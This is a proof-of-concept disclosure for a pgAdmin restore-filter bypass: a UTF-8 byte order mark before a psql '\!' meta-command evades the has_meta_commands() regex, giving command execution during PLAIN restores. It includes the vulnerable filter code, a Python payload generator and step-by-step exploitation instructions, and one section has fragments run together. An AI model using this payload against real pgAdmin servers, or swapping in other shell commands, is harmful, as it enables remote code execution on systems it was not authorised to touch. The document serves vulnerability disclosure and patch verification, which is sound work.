
Proof of concept for CVE-2025-13780
The PLAIN restore meta-command filter introduced in pgAdmin as part of the fix for Issue 9320 does not detect meta-commands when a SQL file begins with a UTF-8 Byte Order Mark (EF BB BF) or other special sequences. The implemented filter uses the function has_meta_commands(), which scans raw bytes using a regular expression. The regex does not treat the bytes as ignorable, so meta-commands such as ! remain undetected. When pgAdmin invokes psql with --file, psql strips the bytes and executes the command. This can result in remote command execution during a restore operation.
This bypass affects the patch introduced in commit 1d397395f75320ca1d4ed5e9ca721c603415e836 (https://github.com/pgadmin-org/pgadmin4/commit/1d397395f75320ca1d4ed5e9ca721c603415e836)
Confirmed affected:
63ee81202b65e1e8923eb1b917b49312a6fb7df2 (2025-11-13)Likely affected:
has_meta_commands()1d397395f75320ca1d4ed5e9ca721c603415e836(\restrict), so meta-commands are now blocked by psql itselfweb/pgadmin/tools/restore/__init__.py has_meta_commands()Relevant code (from patched version):
def has_meta_commands(path, chunk_size=8 * 1024 * 1024):
pattern = re.compile(br'(^|\n)[ \t]*\\')
with open(path, "rb") as f:
prev_tail = b""
while chunk := f.read(chunk_size):
data = prev_tail + chunk
if pattern.search(data):
return True
prev_tail = data[-10:]
return False
Step 1: Create a SQL file beginning with a BOM and a meta-command.
payload = b"\xef\xbb\xbf\\! echo HACKED_FROM_BOM > /tmp/bom_ran\nSELECT 1;\n"
with open("bypass_bom.sql", "wb") as f:
f.write(payload)
Step 2: Verify BOM:
xxd bypass_bom.sql | head -1
Expected:
ef bb bf 5c 21 ...
Step 3: Place file into pgAdmin storage:
/var/lib/pgadmin/storage/<user>/bypass_bom.sql
Step 4: In pgAdmin: Restore -> Format: PLAIN -> select bypass_bom.sql -> Run
Step 5: Verify execution:
ls /tmp/bom_ran
Control file without BOM is correctly blocked.
BOM-prefixed payload:
\xef\xbb\xbf\\! echo HACKED_FROM_BOM > /tmp/bom_ran
SELECT 1;
Control payload:
\\! echo SHOULD_BE_BLOCKED
SELECT 1;